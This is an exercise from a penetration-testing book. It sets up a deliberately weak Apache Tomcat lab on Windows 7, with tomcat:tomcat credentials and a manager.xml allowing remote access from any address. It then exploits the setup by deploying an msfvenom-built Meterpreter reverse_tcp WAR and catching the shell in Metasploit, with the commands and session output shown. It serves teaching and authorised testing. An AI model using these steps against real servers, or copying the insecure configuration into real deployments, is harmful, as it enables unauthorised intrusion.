Additional Book Exercises: Apache Tomcat Guessable Credentials

In the first edition of Penetration Testing: A Hands-On Introduction to Hacking, you looked at specific examples of vulnerabilities. My goal was to cover as many classes of issues as possible, though of course I could not cover every possible issue you might encounter on your pentests. As you continue your penetration testing career, you will need to take what you have learned and be able to generalize it to other similar issues you run into. Today you will look at an example of default/guessable credentials that I see often on my tests, Apache Tomcat Administrative GUI Access. This is similar to the PHP code execution issues you saw with XAMPP in the book.

Setup:

Download the installer package (32-bit/64-bit Windows Service Installer) for the latest version of Apache Tomcat 8.5 from https://tomcat.apache.org/download-80.cgi. You cannot use Tomcat 9 since the Windows 7 target has Java 7 update 6 installed. At the time of this writing the latest 8.5 version is 8.5.40. Copy the installer to the Desktop of your Windows 7 target.

Now run the installer. Since Windows 7 has User Access Control (UAC), which you saw in the Post Exploitation chapter, you are prompted to say “Yes” to the install.

Click Next when the installer starts.

Click “I Agree” at the License Agreement.

Leave the default components and click Next at the Choose Components dialog.

Now at the Configuration Options dialog, you need to make a change. You are going to emulate the behavior of older versions of Apache Tomcat that allowed a blank or default Administrator account. In newer version if you do not manually set up Administrator credentials, you will not be able to access the Administrative GUI.

At the bottom of the dialog set the username and password both to tomcat. Leave the role as manager-gui. Then click Next.

The installer should automatically find our Java installation from Chapter 1. Recall that Java is out of date as part of an exercise in the Client Side Attacks chapter. This will not cause a problem for this exercise. Click Next.

You can leave the install location as the default. Finally, click Install.

Once the installer is done, uncheck “Show Readme,” but leave “Run Apache Tomcat checked. Now click Finish.

The Apache Service will now start.

Now you need to allow port 8080 through the Windows firewall so our Kali Linux system is able to access the Tomcat server. Go to “Control Panel” then “System and Security.” Now click on “Windows Firewall.”

At the left side of the window click Advanced Settin

s.

Again at the left side of the screen, choose Inbound Rules. Then at the right side of the screen click New Rule.

Choose the Port radio button and click Next.

Choose TCP and enter the port 8080 next to Specific Local Ports. Then click Next.

Choose the Allow the Connection radio button and click Next.

Leave all the networks checked and click Next.

Enter Tomcat in the Name text box and click Finish.

You should now be able to access https://<ip-address of Windows7>:8080 from Kali Linux. Recall from the book that you can find the IP address for Windows 7 by pressing Windows + r, typing cmd in the Run dialog, and typing ipconfig in the terminal prompt that opens. For this walkthrough I am using Kali Linux 2019.1. You can use other versions of Kali including 1.0.6 used in the book.

You need to make one more change to Tomcat on Windows 7 to get the newest version to behave like outdated or misconfigured versions you may find on your penetration test. By default in the latest versions of Tomcat, access to the Manager App is limited to localhost; Kali will not be able to access this functionality even with the correct credentials. In earlier version this was not the case, anyone could access the Manager App after being prompted for credentials. Some modern Tomcat installations may have remote access turned on as well, for ease of use.

In Windows 7 go to Start, then All Programs, then Accessories. Now right-click on Notepad and select Run as administrator.

In Notepad paste the following text into the blank file:

<Context privileged="true" antiResourceLocking="false"
        docBase="${catalina.home}/webapps/manager">
    <Valve className="org.apache.catalina.valves.RemoteAddrValve" allow="^.*$" />
</Context>        

Now go to File and then Save. In the Save dialog navigate to C:\Program Files\Apache Software Foundation\Tomcat 8.5\conf\Catalina\localhost. At the bottom where the drop down box says Text Document (.txt), use the dropdown to choose All Files. Save the file as manager.xml.

You do not have to restart Tomcat for the configuration changes to take effect. You will be able to access the Manager App from Kali immediately.

Exploitation:

In Kali Linux, click on Manager App button on the right side of Tomcat browser window. You will be prompted for credentials.

This is the core of the issue. If you are able to guess the credentials, or if they were blank (CVE-2009–3548) you can get access to the Manager App. I see this often on penetration tests. At its core, this is the same issue that you studied in the book, default or guessable credentials on a web interface leading to code execution, just in a different form.

Enter the credentials tomcat:tomcat that you set up when you were installing Tomcat.

Now let’s look at how you can exploit this issue to get code execution on the system. In the Manager Ap there is a section entitled Deploy. You can use it to upload a Web Application Archive (WAR) used to package Java Server Pages (JSP).

In the examples in the book you used XAMPP to upload PHP code. This time you will need to create a WAR file to give us code execution. One way is to use Msfvenom as you did in the PHP examples. Of course, you need to use a Java payload and set the format to WAR in this case.

msfvenom -p java/meterpreter/reverse_tcp LHOST=172.16.40.186 -f war -o meterpreter.war        

Back in the Tomcat browser window, under WAR file to deploy, click Browse, then choose the meterpreter.war file you just created.

Now click Deploy. Under Applications you will now see /meterpreter.

Before clicking on /meterpreter, run msfconsole in the Kali terminal and set up multi/handler in the usual way (covered in the Metasploit chapter of the book). Then click on /meterpreter to run the uploaded Metasploit payload.

msf > use multi/handler
msf exploit(handler) > set payload java/meterpreter/reverse_tcp
payload => java/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 172.16.40.186
lhost => 172.16.40.186
msf exploit(handler) > exploit
[*] Started reverse TCP handler on 172.16.40.186:4444         

[*] Sending stage (30355 bytes) to 172.16.40.184
[*] Meterpreter session 1 opened (172.16.40.186:4444 -> 172.16.40.184:50807) at 2019-04-06 17:46:32 -0500
 
meterpreter >        

From here you can use Meterpreter to do post exploitation on the Windows 7 system as covered in the post exploitation chapter of Penetration Testing.

Like the XAMPP Webdav example covered in the book, this issue also has a Metasploit module that will automate the process. I will leave that to you as an exercise.

Though this example used Java instead of PHP and the credentials were different, at its core this issue follows the same steps as the XAMPP Webdav default credentials covered in the book. Your goal as you continue your penetration testing career should be to develop the savvy to generalize the concepts you are familiar with and apply them to software and scenarios that are new to you.